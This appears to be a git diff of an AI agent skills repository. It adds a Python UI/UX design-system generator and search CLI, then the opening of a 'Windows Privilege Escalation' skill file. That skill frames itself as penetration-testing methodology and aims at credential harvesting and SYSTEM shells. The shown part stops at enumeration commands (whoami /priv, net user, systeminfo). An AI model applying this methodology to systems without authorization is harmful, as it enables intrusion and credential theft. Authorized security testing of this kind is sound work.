"flutter": {"file": "stacks/flutter.csv"}
|
||||
"flutter": {"file": "stacks/flutter.csv"},
|
||||
"shadcn": {"file": "stacks/shadcn.csv"}
|
||||
}
|
||||
|
||||
# Common columns for all stacks
|
||||
@@ -186,7 +202,10 @@ def detect_domain(query):
|
||||
"prompt": ["prompt", "css", "implementation", "variable", "checklist", "tailwind"],
|
||||
"style": ["style", "design", "ui", "minimalism", "glassmorphism", "neumorphism", "brutalism", "dark mode", "flat", "aurora"],
|
||||
"ux": ["ux", "usability", "accessibility", "wcag", "touch", "scroll", "animation", "keyboard", "navigation", "mobile"],
|
||||
"typography": ["font", "typography", "heading", "serif", "sans"]
|
||||
"typography": ["font", "typography", "heading", "serif", "sans"],
|
||||
"icons": ["icon", "icons", "lucide", "heroicons", "symbol", "glyph", "pictogram", "svg icon"],
|
||||
"react": ["react", "next.js", "nextjs", "suspense", "memo", "usecallback", "useeffect", "rerender", "bundle", "waterfall", "barrel", "dynamic import", "rsc", "server component"],
|
||||
"web": ["aria", "focus", "outline", "semantic", "virtualize", "autocomplete", "form", "input type", "preconnect"]
|
||||
}
|
||||
|
||||
scores = {domain: sum(1 for kw in keywords if kw in query_lower) for domain, keywords in domain_keywords.items()}
|
||||
|
||||
487
skills/ui-ux-pro-max/scripts/design_system.py
Normal file
487
skills/ui-ux-pro-max/scripts/design_system.py
Normal file
@@ -0,0 +1,487 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
"""
|
||||
Design System Generator - Aggregates search results and applies reasoning
|
||||
to generate comprehensive design system recommendations.
|
||||
|
||||
Usage:
|
||||
from design_system import generate_design_system
|
||||
result = generate_design_system("SaaS dashboard", "My Project")
|
||||
"""
|
||||
|
||||
import csv
|
||||
import json
|
||||
from pathlib import Path
|
||||
from core import search, DATA_DIR
|
||||
|
||||
|
||||
# ============ CONFIGURATION ============
|
||||
REASONING_FILE = "ui-reasoning.csv"
|
||||
|
||||
SEARCH_CONFIG = {
|
||||
"product": {"max_results": 1},
|
||||
"style": {"max_results": 3},
|
||||
"color": {"max_results": 2},
|
||||
"landing": {"max_results": 2},
|
||||
"typography": {"max_results": 2}
|
||||
}
|
||||
|
||||
|
||||
# ============ DESIGN SYSTEM GENERATOR ============
|
||||
class DesignSystemGenerator:
|
||||
"""Generates design system recommendations from aggregated searches."""
|
||||
|
||||
def __init__(self):
|
||||
self.reasoning_data = self._load_reasoning()
|
||||
|
||||
def _load_reasoning(self) -> list:
|
||||
"""Load reasoning rules from CSV."""
|
||||
filepath = DATA_DIR / REASONING_FILE
|
||||
if not filepath.exists():
|
||||
return []
|
||||
with open(filepath, 'r', encoding='utf-8') as f:
|
||||
return list(csv.DictReader(f))
|
||||
|
||||
def _multi_domain_search(self, query: str, style_priority: list = None) -> dict:
|
||||
"""Execute searches across multiple domains."""
|
||||
results = {}
|
||||
for domain, config in SEARCH_CONFIG.items():
|
||||
if domain == "style" and style_priority:
|
||||
# For style, also search with priority keywords
|
||||
priority_query = " ".join(style_priority[:2]) if style_priority else query
|
||||
combined_query = f"{query} {priority_query}"
|
||||
results[domain] = search(combined_query, domain, config["max_results"])
|
||||
else:
|
||||
results[domain] = search(query, domain, config["max_results"])
|
||||
return results
|
||||
|
||||
def _find_reasoning_rule(self, category: str) -> dict:
|
||||
"""Find matching reasoning rule for a category."""
|
||||
category_lower = category.lower()
|
||||
|
||||
# Try exact match first
|
||||
for rule in self.reasoning_data:
|
||||
if rule.get("UI_Category", "").lower() == category_lower:
|
||||
return rule
|
||||
|
||||
# Try partial match
|
||||
for rule in self.reasoning_data:
|
||||
ui_cat = rule.get("UI_Category", "").lower()
|
||||
if ui_cat in category_lower or category_lower in ui_cat:
|
||||
return rule
|
||||
|
||||
# Try keyword match
|
||||
for rule in self.reasoning_data:
|
||||
ui_cat = rule.get("UI_Category", "").lower()
|
||||
keywords = ui_cat.replace("/", " ").replace("-", " ").split()
|
||||
if any(kw in category_lower for kw in keywords):
|
||||
return rule
|
||||
|
||||
return {}
|
||||
|
||||
def _apply_reasoning(self, category: str, search_results: dict) -> dict:
|
||||
"""Apply reasoning rules to search results."""
|
||||
rule = self._find_reasoning_rule(category)
|
||||
|
||||
if not rule:
|
||||
return {
|
||||
"pattern": "Hero + Features + CTA",
|
||||
"style_priority": ["Minimalism", "Flat Design"],
|
||||
"color_mood": "Professional",
|
||||
"typography_mood": "Clean",
|
||||
"key_effects": "Subtle hover transitions",
|
||||
"anti_patterns": "",
|
||||
"decision_rules": {},
|
||||
"severity": "MEDIUM"
|
||||
}
|
||||
|
||||
# Parse decision rules JSON
|
||||
decision_rules = {}
|
||||
try:
|
||||
decision_rules = json.loads(rule.get("Decision_Rules", "{}"))
|
||||
except json.JSONDecodeError:
|
||||
pass
|
||||
|
||||
return {
|
||||
"pattern": rule.get("Recommended_Pattern", ""),
|
||||
"style_priority": [s.strip() for s in rule.get("Style_Priority", "").split("+")],
|
||||
"color_mood": rule.get("Color_Mood", ""),
|
||||
"typography_mood": rule.get("Typography_Mood", ""),
|
||||
"key_effects": rule.get("Key_Effects", ""),
|
||||
"anti_patterns": rule.get("Anti_Patterns", ""),
|
||||
"decision_rules": decision_rules,
|
||||
"severity": rule.get("Severity", "MEDIUM")
|
||||
}
|
||||
|
||||
def _select_best_match(self, results: list, priority_keywords: list) -> dict:
|
||||
"""Select best matching result based on priority keywords."""
|
||||
if not results:
|
||||
return {}
|
||||
|
||||
if not priority_keywords:
|
||||
return results[0]
|
||||
|
||||
# First: try exact style name match
|
||||
for priority in priority_keywords:
|
||||
priority_lower = priority.lower().strip()
|
||||
for result in results:
|
||||
style_name = result.get("Style Category", "").lower()
|
||||
if priority_lower in style_name or style_name in priority_lower:
|
||||
return result
|
||||
|
||||
# Second: score by keyword match in all fields
|
||||
scored = []
|
||||
for result in results:
|
||||
result_str = str(result).lower()
|
||||
score = 0
|
||||
for kw in priority_keywords:
|
||||
kw_lower = kw.lower().strip()
|
||||
# Higher score for style name match
|
||||
if kw_lower in result.get("Style Category", "").lower():
|
||||
score += 10
|
||||
# Lower score for keyword field match
|
||||
elif kw_lower in result.get("Keywords", "").lower():
|
||||
score += 3
|
||||
# Even lower for other field matches
|
||||
elif kw_lower in result_str:
|
||||
score += 1
|
||||
scored.append((score, result))
|
||||
|
||||
scored.sort(key=lambda x: x[0], reverse=True)
|
||||
return scored[0][1] if scored and scored[0][0] > 0 else results[0]
|
||||
|
||||
def _extract_results(self, search_result: dict) -> list:
|
||||
"""Extract results list from search result dict."""
|
||||
return search_result.get("results", [])
|
||||
|
||||
def generate(self, query: str, project_name: str = None) -> dict:
|
||||
"""Generate complete design system recommendation."""
|
||||
# Step 1: First search product to get category
|
||||
product_result = search(query, "product", 1)
|
||||
product_results = product_result.get("results", [])
|
||||
category = "General"
|
||||
if product_results:
|
||||
category = product_results[0].get("Product Type", "General")
|
||||
|
||||
# Step 2: Get reasoning rules for this category
|
||||
reasoning = self._apply_reasoning(category, {})
|
||||
style_priority = reasoning.get("style_priority", [])
|
||||
|
||||
# Step 3: Multi-domain search with style priority hints
|
||||
search_results = self._multi_domain_search(query, style_priority)
|
||||
search_results["product"] = product_result # Reuse product search
|
||||
|
||||
# Step 4: Select best matches from each domain using priority
|
||||
style_results = self._extract_results(search_results.get("style", {}))
|
||||
color_results = self._extract_results(search_results.get("color", {}))
|
||||
typography_results = self._extract_results(search_results.get("typography", {}))
|
||||
landing_results = self._extract_results(search_results.get("landing", {}))
|
||||
|
||||
best_style = self._select_best_match(style_results, reasoning.get("style_priority", []))
|
||||
best_color = color_results[0] if color_results else {}
|
||||
best_typography = typography_results[0] if typography_results else {}
|
||||
best_landing = landing_results[0] if landing_results else {}
|
||||
|
||||
# Step 5: Build final recommendation
|
||||
# Combine effects from both reasoning and style search
|
||||
style_effects = best_style.get("Effects & Animation", "")
|
||||
reasoning_effects = reasoning.get("key_effects", "")
|
||||
combined_effects = style_effects if style_effects else reasoning_effects
|
||||
|
||||
return {
|
||||
"project_name": project_name or query.upper(),
|
||||
"category": category,
|
||||
"pattern": {
|
||||
"name": best_landing.get("Pattern Name", reasoning.get("pattern", "Hero + Features + CTA")),
|
||||
"sections": best_landing.get("Section Order", "Hero > Features > CTA"),
|
||||
"cta_placement": best_landing.get("Primary CTA Placement", "Above fold"),
|
||||
"color_strategy": best_landing.get("Color Strategy", ""),
|
||||
"conversion": best_landing.get("Conversion Optimization", "")
|
||||
},
|
||||
"style": {
|
||||
"name": best_style.get("Style Category", "Minimalism"),
|
||||
"type": best_style.get("Type", "General"),
|
||||
"effects": style_effects,
|
||||
"keywords": best_style.get("Keywords", ""),
|
||||
"best_for": best_style.get("Best For", ""),
|
||||
"performance": best_style.get("Performance", ""),
|
||||
"accessibility": best_style.get("Accessibility", "")
|
||||
},
|
||||
"colors": {
|
||||
"primary": best_color.get("Primary (Hex)", "#2563EB"),
|
||||
"secondary": best_color.get("Secondary (Hex)", "#3B82F6"),
|
||||
"cta": best_color.get("CTA (Hex)", "#F97316"),
|
||||
"background": best_color.get("Background (Hex)", "#F8FAFC"),
|
||||
"text": best_color.get("Text (Hex)", "#1E293B"),
|
||||
"notes": best_color.get("Notes", "")
|
||||
},
|
||||
"typography": {
|
||||
"heading": best_typography.get("Heading Font", "Inter"),
|
||||
"body": best_typography.get("Body Font", "Inter"),
|
||||
"mood": best_typography.get("Mood/Style Keywords", reasoning.get("typography_mood", "")),
|
||||
"best_for": best_typography.get("Best For", ""),
|
||||
"google_fonts_url": best_typography.get("Google Fonts URL", ""),
|
||||
"css_import": best_typography.get("CSS Import", "")
|
||||
},
|
||||
"key_effects": combined_effects,
|
||||
"anti_patterns": reasoning.get("anti_patterns", ""),
|
||||
"decision_rules": reasoning.get("decision_rules", {}),
|
||||
"severity": reasoning.get("severity", "MEDIUM")
|
||||
}
|
||||
|
||||
|
||||
# ============ OUTPUT FORMATTERS ============
|
||||
BOX_WIDTH = 90 # Wider box for more content
|
||||
|
||||
def format_ascii_box(design_system: dict) -> str:
|
||||
"""Format design system as ASCII box with emojis (MCP-style)."""
|
||||
project = design_system.get("project_name", "PROJECT")
|
||||
pattern = design_system.get("pattern", {})
|
||||
style = design_system.get("style", {})
|
||||
colors = design_system.get("colors", {})
|
||||
typography = design_system.get("typography", {})
|
||||
effects = design_system.get("key_effects", "")
|
||||
anti_patterns = design_system.get("anti_patterns", "")
|
||||
|
||||
def wrap_text(text: str, prefix: str, width: int) -> list:
|
||||
"""Wrap long text into multiple lines."""
|
||||
if not text:
|
||||
return []
|
||||
words = text.split()
|
||||
lines = []
|
||||
current_line = prefix
|
||||
for word in words:
|
||||
if len(current_line) + len(word) + 1 <= width - 2:
|
||||
current_line += (" " if current_line != prefix else "") + word
|
||||
else:
|
||||
if current_line != prefix:
|
||||
lines.append(current_line)
|
||||
current_line = prefix + word
|
||||
if current_line != prefix:
|
||||
lines.append(current_line)
|
||||
return lines
|
||||
|
||||
# Build sections from pattern
|
||||
sections = pattern.get("sections", "").split(">")
|
||||
sections = [s.strip() for s in sections if s.strip()]
|
||||
|
||||
# Build output lines
|
||||
lines = []
|
||||
w = BOX_WIDTH - 1
|
||||
|
||||
lines.append("+" + "-" * w + "+")
|
||||
lines.append(f"| TARGET: {project} - RECOMMENDED DESIGN SYSTEM".ljust(BOX_WIDTH) + "|")
|
||||
lines.append("+" + "-" * w + "+")
|
||||
lines.append("|" + " " * BOX_WIDTH + "|")
|
||||
|
||||
# Pattern section
|
||||
lines.append(f"| PATTERN: {pattern.get('name', '')}".ljust(BOX_WIDTH) + "|")
|
||||
if pattern.get('conversion'):
|
||||
lines.append(f"| Conversion: {pattern.get('conversion', '')}".ljust(BOX_WIDTH) + "|")
|
||||
if pattern.get('cta_placement'):
|
||||
lines.append(f"| CTA: {pattern.get('cta_placement', '')}".ljust(BOX_WIDTH) + "|")
|
||||
lines.append("| Sections:".ljust(BOX_WIDTH) + "|")
|
||||
for i, section in enumerate(sections, 1):
|
||||
lines.append(f"| {i}. {section}".ljust(BOX_WIDTH) + "|")
|
||||
lines.append("|" + " " * BOX_WIDTH + "|")
|
||||
|
||||
# Style section
|
||||
lines.append(f"| STYLE: {style.get('name', '')}".ljust(BOX_WIDTH) + "|")
|
||||
if style.get("keywords"):
|
||||
for line in wrap_text(f"Keywords: {style.get('keywords', '')}", "| ", BOX_WIDTH):
|
||||
lines.append(line.ljust(BOX_WIDTH) + "|")
|
||||
if style.get("best_for"):
|
||||
for line in wrap_text(f"Best For: {style.get('best_for', '')}", "| ", BOX_WIDTH):
|
||||
lines.append(line.ljust(BOX_WIDTH) + "|")
|
||||
if style.get("performance") or style.get("accessibility"):
|
||||
perf_a11y = f"Performance: {style.get('performance', '')} | Accessibility: {style.get('accessibility', '')}"
|
||||
lines.append(f"| {perf_a11y}".ljust(BOX_WIDTH) + "|")
|
||||
lines.append("|" + " " * BOX_WIDTH + "|")
|
||||
|
||||
# Colors section
|
||||
lines.append("| COLORS:".ljust(BOX_WIDTH) + "|")
|
||||
lines.append(f"| Primary: {colors.get('primary', '')}".ljust(BOX_WIDTH) + "|")
|
||||
lines.append(f"| Secondary: {colors.get('secondary', '')}".ljust(BOX_WIDTH) + "|")
|
||||
lines.append(f"| CTA: {colors.get('cta', '')}".ljust(BOX_WIDTH) + "|")
|
||||
lines.append(f"| Background: {colors.get('background', '')}".ljust(BOX_WIDTH) + "|")
|
||||
lines.append(f"| Text: {colors.get('text', '')}".ljust(BOX_WIDTH) + "|")
|
||||
if colors.get("notes"):
|
||||
for line in wrap_text(f"Notes: {colors.get('notes', '')}", "| ", BOX_WIDTH):
|
||||
lines.append(line.ljust(BOX_WIDTH) + "|")
|
||||
lines.append("|" + " " * BOX_WIDTH + "|")
|
||||
|
||||
# Typography section
|
||||
lines.append(f"| TYPOGRAPHY: {typography.get('heading', '')} / {typography.get('body', '')}".ljust(BOX_WIDTH) + "|")
|
||||
if typography.get("mood"):
|
||||
for line in wrap_text(f"Mood: {typography.get('mood', '')}", "| ", BOX_WIDTH):
|
||||
lines.append(line.ljust(BOX_WIDTH) + "|")
|
||||
if typography.get("best_for"):
|
||||
for line in wrap_text(f"Best For: {typography.get('best_for', '')}", "| ", BOX_WIDTH):
|
||||
lines.append(line.ljust(BOX_WIDTH) + "|")
|
||||
if typography.get("google_fonts_url"):
|
||||
lines.append(f"| Google Fonts: {typography.get('google_fonts_url', '')}".ljust(BOX_WIDTH) + "|")
|
||||
if typography.get("css_import"):
|
||||
lines.append(f"| CSS Import: {typography.get('css_import', '')[:70]}...".ljust(BOX_WIDTH) + "|")
|
||||
lines.append("|" + " " * BOX_WIDTH + "|")
|
||||
|
||||
# Key Effects section
|
||||
if effects:
|
||||
lines.append("| KEY EFFECTS:".ljust(BOX_WIDTH) + "|")
|
||||
for line in wrap_text(effects, "| ", BOX_WIDTH):
|
||||
lines.append(line.ljust(BOX_WIDTH) + "|")
|
||||
lines.append("|" + " " * BOX_WIDTH + "|")
|
||||
|
||||
# Anti-patterns section
|
||||
if anti_patterns:
|
||||
lines.append("| AVOID (Anti-patterns):".ljust(BOX_WIDTH) + "|")
|
||||
for line in wrap_text(anti_patterns, "| ", BOX_WIDTH):
|
||||
lines.append(line.ljust(BOX_WIDTH) + "|")
|
||||
lines.append("|" + " " * BOX_WIDTH + "|")
|
||||
|
||||
# Pre-Delivery Checklist section
|
||||
lines.append("| PRE-DELIVERY CHECKLIST:".ljust(BOX_WIDTH) + "|")
|
||||
checklist_items = [
|
||||
"[ ] No emojis as icons (use SVG: Heroicons/Lucide)",
|
||||
"[ ] cursor-pointer on all clickable elements",
|
||||
"[ ] Hover states with smooth transitions (150-300ms)",
|
||||
"[ ] Light mode: text contrast 4.5:1 minimum",
|
||||
"[ ] Focus states visible for keyboard nav",
|
||||
"[ ] prefers-reduced-motion respected",
|
||||
"[ ] Responsive: 375px, 768px, 1024px, 1440px"
|
||||
]
|
||||
for item in checklist_items:
|
||||
lines.append(f"| {item}".ljust(BOX_WIDTH) + "|")
|
||||
lines.append("|" + " " * BOX_WIDTH + "|")
|
||||
|
||||
lines.append("+" + "-" * w + "+")
|
||||
|
||||
return "\n".join(lines)
|
||||
|
||||
|
||||
def format_markdown(design_system: dict) -> str:
|
||||
"""Format design system as markdown."""
|
||||
project = design_system.get("project_name", "PROJECT")
|
||||
pattern = design_system.get("pattern", {})
|
||||
style = design_system.get("style", {})
|
||||
colors = design_system.get("colors", {})
|
||||
typography = design_system.get("typography", {})
|
||||
effects = design_system.get("key_effects", "")
|
||||
anti_patterns = design_system.get("anti_patterns", "")
|
||||
|
||||
lines = []
|
||||
lines.append(f"## Design System: {project}")
|
||||
lines.append("")
|
||||
|
||||
# Pattern section
|
||||
lines.append("### Pattern")
|
||||
lines.append(f"- **Name:** {pattern.get('name', '')}")
|
||||
if pattern.get('conversion'):
|
||||
lines.append(f"- **Conversion Focus:** {pattern.get('conversion', '')}")
|
||||
if pattern.get('cta_placement'):
|
||||
lines.append(f"- **CTA Placement:** {pattern.get('cta_placement', '')}")
|
||||
if pattern.get('color_strategy'):
|
||||
lines.append(f"- **Color Strategy:** {pattern.get('color_strategy', '')}")
|
||||
lines.append(f"- **Sections:** {pattern.get('sections', '')}")
|
||||
lines.append("")
|
||||
|
||||
# Style section
|
||||
lines.append("### Style")
|
||||
lines.append(f"- **Name:** {style.get('name', '')}")
|
||||
if style.get('keywords'):
|
||||
lines.append(f"- **Keywords:** {style.get('keywords', '')}")
|
||||
if style.get('best_for'):
|
||||
lines.append(f"- **Best For:** {style.get('best_for', '')}")
|
||||
if style.get('performance') or style.get('accessibility'):
|
||||
lines.append(f"- **Performance:** {style.get('performance', '')} | **Accessibility:** {style.get('accessibility', '')}")
|
||||
lines.append("")
|
||||
|
||||
# Colors section
|
||||
lines.append("### Colors")
|
||||
lines.append(f"| Role | Hex |")
|
||||
lines.append(f"|------|-----|")
|
||||
lines.append(f"| Primary | {colors.get('primary', '')} |")
|
||||
lines.append(f"| Secondary | {colors.get('secondary', '')} |")
|
||||
lines.append(f"| CTA | {colors.get('cta', '')} |")
|
||||
lines.append(f"| Background | {colors.get('background', '')} |")
|
||||
lines.append(f"| Text | {colors.get('text', '')} |")
|
||||
if colors.get("notes"):
|
||||
lines.append(f"\n*Notes: {colors.get('notes', '')}*")
|
||||
lines.append("")
|
||||
|
||||
# Typography section
|
||||
lines.append("### Typography")
|
||||
lines.append(f"- **Heading:** {typography.get('heading', '')}")
|
||||
lines.append(f"- **Body:** {typography.get('body', '')}")
|
||||
if typography.get("mood"):
|
||||
lines.append(f"- **Mood:** {typography.get('mood', '')}")
|
||||
if typography.get("best_for"):
|
||||
lines.append(f"- **Best For:** {typography.get('best_for', '')}")
|
||||
if typography.get("google_fonts_url"):
|
||||
lines.append(f"- **Google Fonts:** {typography.get('google_fonts_url', '')}")
|
||||
if typography.get("css_import"):
|
||||
lines.append(f"- **CSS Import:**")
|
||||
lines.append(f"```css")
|
||||
lines.append(f"{typography.get('css_import', '')}")
|
||||
lines.append(f"```")
|
||||
lines.append("")
|
||||
|
||||
# Key Effects section
|
||||
if effects:
|
||||
lines.append("### Key Effects")
|
||||
lines.append(f"{effects}")
|
||||
lines.append("")
|
||||
|
||||
# Anti-patterns section
|
||||
if anti_patterns:
|
||||
lines.append("### Avoid (Anti-patterns)")
|
||||
lines.append(f"- {anti_patterns.replace(' + ', '\n- ')}")
|
||||
lines.append("")
|
||||
|
||||
# Pre-Delivery Checklist section
|
||||
lines.append("### Pre-Delivery Checklist")
|
||||
lines.append("- [ ] No emojis as icons (use SVG: Heroicons/Lucide)")
|
||||
lines.append("- [ ] cursor-pointer on all clickable elements")
|
||||
lines.append("- [ ] Hover states with smooth transitions (150-300ms)")
|
||||
lines.append("- [ ] Light mode: text contrast 4.5:1 minimum")
|
||||
lines.append("- [ ] Focus states visible for keyboard nav")
|
||||
lines.append("- [ ] prefers-reduced-motion respected")
|
||||
lines.append("- [ ] Responsive: 375px, 768px, 1024px, 1440px")
|
||||
lines.append("")
|
||||
|
||||
return "\n".join(lines)
|
||||
|
||||
|
||||
# ============ MAIN ENTRY POINT ============
|
||||
def generate_design_system(query: str, project_name: str = None, output_format: str = "ascii") -> str:
|
||||
"""
|
||||
Main entry point for design system generation.
|
||||
|
||||
Args:
|
||||
query: Search query (e.g., "SaaS dashboard", "e-commerce luxury")
|
||||
project_name: Optional project name for output header
|
||||
output_format: "ascii" (default) or "markdown"
|
||||
|
||||
Returns:
|
||||
Formatted design system string
|
||||
"""
|
||||
generator = DesignSystemGenerator()
|
||||
design_system = generator.generate(query, project_name)
|
||||
|
||||
if output_format == "markdown":
|
||||
return format_markdown(design_system)
|
||||
return format_ascii_box(design_system)
|
||||
|
||||
|
||||
# ============ CLI SUPPORT ============
|
||||
if __name__ == "__main__":
|
||||
import argparse
|
||||
|
||||
parser = argparse.ArgumentParser(description="Generate Design System")
|
||||
parser.add_argument("query", help="Search query (e.g., 'SaaS dashboard')")
|
||||
parser.add_argument("--project-name", "-p", type=str, default=None, help="Project name")
|
||||
parser.add_argument("--format", "-f", choices=["ascii", "markdown"], default="ascii", help="Output format")
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
result = generate_design_system(args.query, args.project_name, args.format)
|
||||
print(result)
|
||||
@@ -1,61 +1,76 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
"""
|
||||
UI/UX Pro Max Search - BM25 search engine for UI/UX style guides
|
||||
Usage: python search.py "<query>" [--domain <domain>] [--stack <stack>] [--max-results 3]
|
||||
|
||||
Domains: style, prompt, color, chart, landing, product, ux, typography
|
||||
Stacks: html-tailwind, react, nextjs
|
||||
"""
|
||||
|
||||
import argparse
|
||||
from core import CSV_CONFIG, AVAILABLE_STACKS, MAX_RESULTS, search, search_stack
|
||||
|
||||
|
||||
def format_output(result):
|
||||
"""Format results for Claude consumption (token-optimized)"""
|
||||
if "error" in result:
|
||||
return f"Error: {result['error']}"
|
||||
|
||||
output = []
|
||||
if result.get("stack"):
|
||||
output.append(f"## UI Pro Max Stack Guidelines")
|
||||
output.append(f"**Stack:** {result['stack']} | **Query:** {result['query']}")
|
||||
else:
|
||||
output.append(f"## UI Pro Max Search Results")
|
||||
output.append(f"**Domain:** {result['domain']} | **Query:** {result['query']}")
|
||||
output.append(f"**Source:** {result['file']} | **Found:** {result['count']} results\n")
|
||||
|
||||
for i, row in enumerate(result['results'], 1):
|
||||
output.append(f"### Result {i}")
|
||||
for key, value in row.items():
|
||||
value_str = str(value)
|
||||
if len(value_str) > 300:
|
||||
value_str = value_str[:300] + "..."
|
||||
output.append(f"- **{key}:** {value_str}")
|
||||
output.append("")
|
||||
|
||||
return "\n".join(output)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
parser = argparse.ArgumentParser(description="UI Pro Max Search")
|
||||
parser.add_argument("query", help="Search query")
|
||||
parser.add_argument("--domain", "-d", choices=list(CSV_CONFIG.keys()), help="Search domain")
|
||||
parser.add_argument("--stack", "-s", choices=AVAILABLE_STACKS, help="Stack-specific search (html-tailwind, react, nextjs)")
|
||||
parser.add_argument("--max-results", "-n", type=int, default=MAX_RESULTS, help="Max results (default: 3)")
|
||||
parser.add_argument("--json", action="store_true", help="Output as JSON")
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
# Stack search takes priority
|
||||
if args.stack:
|
||||
result = search_stack(args.query, args.stack, args.max_results)
|
||||
else:
|
||||
result = search(args.query, args.domain, args.max_results)
|
||||
|
||||
if args.json:
|
||||
import json
|
||||
print(json.dumps(result, indent=2, ensure_ascii=False))
|
||||
else:
|
||||
print(format_output(result))
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
"""
|
||||
UI/UX Pro Max Search - BM25 search engine for UI/UX style guides
|
||||
Usage: python search.py "<query>" [--domain <domain>] [--stack <stack>] [--max-results 3]
|
||||
python search.py "<query>" --design-system [-p "Project Name"]
|
||||
|
||||
Domains: style, prompt, color, chart, landing, product, ux, typography
|
||||
Stacks: html-tailwind, react, nextjs
|
||||
"""
|
||||
|
||||
import argparse
|
||||
from core import CSV_CONFIG, AVAILABLE_STACKS, MAX_RESULTS, search, search_stack
|
||||
from design_system import generate_design_system
|
||||
|
||||
|
||||
def format_output(result):
|
||||
"""Format results for Claude consumption (token-optimized)"""
|
||||
if "error" in result:
|
||||
return f"Error: {result['error']}"
|
||||
|
||||
output = []
|
||||
if result.get("stack"):
|
||||
output.append(f"## UI Pro Max Stack Guidelines")
|
||||
output.append(f"**Stack:** {result['stack']} | **Query:** {result['query']}")
|
||||
else:
|
||||
output.append(f"## UI Pro Max Search Results")
|
||||
output.append(f"**Domain:** {result['domain']} | **Query:** {result['query']}")
|
||||
output.append(f"**Source:** {result['file']} | **Found:** {result['count']} results\n")
|
||||
|
||||
for i, row in enumerate(result['results'], 1):
|
||||
output.append(f"### Result {i}")
|
||||
for key, value in row.items():
|
||||
value_str = str(value)
|
||||
if len(value_str) > 300:
|
||||
value_str = value_str[:300] + "..."
|
||||
output.append(f"- **{key}:** {value_str}")
|
||||
output.append("")
|
||||
|
||||
return "\n".join(output)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
parser = argparse.ArgumentParser(description="UI Pro Max Search")
|
||||
parser.add_argument("query", help="Search query")
|
||||
parser.add_argument("--domain", "-d", choices=list(CSV_CONFIG.keys()), help="Search domain")
|
||||
parser.add_argument("--stack", "-s", choices=AVAILABLE_STACKS, help="Stack-specific search (html-tailwind, react, nextjs)")
|
||||
parser.add_argument("--max-results", "-n", type=int, default=MAX_RESULTS, help="Max results (default: 3)")
|
||||
parser.add_argument("--json", action="store_true", help="Output as JSON")
|
||||
# Design system generation
|
||||
parser.add_argument("--design-system", "-ds", action="store_true", help="Generate complete design system recommendation")
|
||||
parser.add_argument("--project-name", "-p", type=str, default=None, help="Project name for design system output")
|
||||
parser.add_argument("--format", "-f", choices=["ascii", "markdown"], default="ascii", help="Output format for design system")
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
# Design system takes priority
|
||||
if args.design_system:
|
||||
result = generate_design_system(args.query, args.project_name, args.format)
|
||||
print(result)
|
||||
# Stack search
|
||||
elif args.stack:
|
||||
result = search_stack(args.query, args.stack, args.max_results)
|
||||
if args.json:
|
||||
import json
|
||||
print(json.dumps(result, indent=2, ensure_ascii=False))
|
||||
else:
|
||||
print(format_output(result))
|
||||
# Domain search
|
||||
else:
|
||||
result = search(args.query, args.domain, args.max_results)
|
||||
if args.json:
|
||||
import json
|
||||
print(json.dumps(result, indent=2, ensure_ascii=False))
|
||||
else:
|
||||
print(format_output(result))
|
||||
|
||||
493
skills/windows-privilege-escalation/SKILL.md
Normal file
493
skills/windows-privilege-escalation/SKILL.md
Normal file
@@ -0,0 +1,493 @@
|
||||
---
|
||||
name: Windows Privilege Escalation
|
||||
description: This skill should be used when the user asks to "escalate privileges on Windows," "find Windows privesc vectors," "enumerate Windows for privilege escalation," "exploit Windows misconfigurations," or "perform post-exploitation privilege escalation." It provides comprehensive guidance for discovering and exploiting privilege escalation vulnerabilities in Windows environments.
|
||||
---
|
||||
|
||||
# Windows Privilege Escalation
|
||||
|
||||
## Purpose
|
||||
|
||||
Provide systematic methodologies for discovering and exploiting privilege escalation vulnerabilities on Windows systems during penetration testing engagements. This skill covers system enumeration, credential harvesting, service exploitation, token impersonation, kernel exploits, and various misconfigurations that enable escalation from standard user to Administrator or SYSTEM privileges.
|
||||
|
||||
## Inputs / Prerequisites
|
||||
|
||||
- **Initial Access**: Shell or RDP access as standard user on Windows system
|
||||
- **Enumeration Tools**: WinPEAS, PowerUp, Seatbelt, or manual commands
|
||||
- **Exploit Binaries**: Pre-compiled exploits or ability to transfer tools
|
||||
- **Knowledge**: Understanding of Windows security model and privileges
|
||||
- **Authorization**: Written permission for penetration testing activities
|
||||
|
||||
## Outputs / Deliverables
|
||||
|
||||
- **Privilege Escalation Path**: Identified vector to higher privileges
|
||||
- **Credential Dump**: Harvested passwords, hashes, or tokens
|
||||
- **Elevated Shell**: Command execution as Administrator or SYSTEM
|
||||
- **Vulnerability Report**: Documentation of misconfigurations and exploits
|
||||
- **Remediation Recommendations**: Fixes for identified weaknesses
|
||||
|
||||
## Core Workflow
|
||||
|
||||
### 1. System Enumeration
|
||||
|
||||
#### Basic System Information
|
||||
```powershell
|
||||
# OS version and patches
|
||||
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
|
||||
wmic qfe
|
||||
|
||||
# Architecture
|
||||
wmic os get osarchitecture
|
||||
echo %PROCESSOR_ARCHITECTURE%
|
||||
|
||||
# Environment variables
|
||||
set
|
||||
Get-ChildItem Env: | ft Key,Value
|
||||
|
||||
# List drives
|
||||
wmic logicaldisk get caption,description,providername
|
||||
```
|
||||
|
||||
#### User Enumeration
|
||||
```powershell
|
||||
# Current user
|
||||
whoami
|
||||
echo %USERNAME%
|
||||
|
||||
# User privileges
|
||||
whoami /priv
|
||||
whoami /groups
|
||||
whoami /all
|
||||
|
||||
# All users
|
||||
net user
|
||||
Get-LocalUser | ft Name,Enabled,LastLogon
|
||||
|
||||
# User details
|
||||
net user administrator
|
||||
net user %USERNAME%
|
||||
|
||||
# Local groups
|
||||
net localgroup
|
||||
net localgroup administrators
|
||||
Get-LocalGroupMember Administrators | ft Name,PrincipalSource
|
||||
```
|
||||
|
||||
#### Network Enumeration
|
||||
```powershell
|
||||
# Network interfaces
|
||||
ipconfig /all
|
||||
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
|
||||
|
||||
# Routing table
|
||||
route print
|
||||
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric
|
||||
|
